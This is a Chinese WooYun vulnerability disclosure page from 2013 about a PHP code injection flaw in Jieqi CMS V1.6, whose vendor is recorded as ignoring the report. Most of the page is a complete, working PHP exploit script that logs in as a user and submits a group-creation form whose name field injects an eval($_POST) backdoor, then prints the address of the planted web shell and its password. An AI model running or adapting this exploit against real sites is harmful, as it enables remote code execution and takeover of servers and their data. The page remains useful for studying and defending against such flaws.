当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(14) 关注此漏洞

缺陷编号: WooYun-2013-16998

漏洞标题: Jieqi CMS V1.6 PHP Code Injection Vul

相关厂商: 杰奇网络

漏洞作者: fly@wolvez

提交时间: 2013-01-06 16:59

公开时间: 2013-02-20 16:59

漏洞类型: 命令执行

危害等级: 中

自评Rank: 15

漏洞状态: 未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php代码执行 远程代码执行

2人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-01-06: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-02-20: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。

该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。

详细说明:

详细信息见漏洞证明,需要有一个能创建圈子的用户。

漏洞证明:

code 区域
<?php

print_r('
+---------------------------------------------------------------------------+
Jieqi CMS V1.6 PHP Code Injection Exploit
by flyh4t
mail: phpsec at hotmail dot com
team: http://www.wolvez.org
+---------------------------------------------------------------------------+
');
/**
* works regardless of php.ini settings
*/
if ($argc < 5) {
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' host path username
host: target server (ip/hostname)
path: path to jieqicms
uasename: a username who can create group
Example:
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
+---------------------------------------------------------------------------+
');
exit;
}

error_reporting(7);
ini_set('max_execution_time', 0);

$host = $argv[1];
$path = $argv[2];
$username = $argv[3];
$password = $argv[4];

/*get cookie*/
$cookie_jar_index = 'cookie.txt';
$url1 = "http://$host/$path/login.php";
$params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1";
$curl1 = curl_init();
curl_setopt($curl1, CURLOPT_URL, $url1);
curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index);
curl_setopt($curl1, CURLOPT_POST, 1);
curl_setopt($curl1, CURLOPT_POSTFIELDS, $params);
ob_start();
$data1 = curl_exec($curl1);
if ($data1 === FALSE) {
echo "cURL Error: " . curl_error($ch);
exit('exploit failed');
}
curl_close($curl1);
ob_clean();

/*get shell*/

$params ='-----------------------------23281168279961
Content-Disposition: form-data; name="gname"

';
$params .="';";
$params .='eval($_POST[p]);//flyh4t
-----------------------------23281168279961
Content-Disposition: form-data; name="gcatid"

1
-----------------------------23281168279961
Content-Disposition: form-data; name="gaudit"

1
-----------------------------23281168279961
Content-Disposition: form-data; name="gbrief"

1
-----------------------------23281168279961--
';

$url2 = "http://$host/$path/modules/group/create.php";
$curl2 = curl_init();
$header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' );
curl_setopt($curl2, CURLOPT_URL, $url2);
curl_setopt($curl2, CURLOPT_HTTPHEADER, $header);
curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index);

curl_setopt($curl2, CURLOPT_POST, 1);
curl_setopt($curl2, CURLOPT_POSTFIELDS, $params);
ob_start();
curl_exec($curl2);
curl_close($curl2);
$resp = ob_get_contents(); //$rs就是返回的内容
ob_clean();

preg_match('/g=([0-9]{1,4})/', $resp, $shell);

//print_r($shell);
//print_r($resp);

$url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php";
echo "view you shell here(password:p)\r\n" ;
echo $url;





修复方案:

转意特殊字符

版权声明:转载请注明来源 fly@wolvez@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2013-01-07 12:27 | 云中鹰 ( 实习白帽子 | Rank:65 漏洞数:10 | 云中鹰)
    0

    马~~

  2. 2013-01-08 14:05 | saline ( 普通白帽子 | Rank:294 漏洞数:37 | Focus On Web Secur1ty)
    0

    三~~

登录后才能发表评论,请先 登录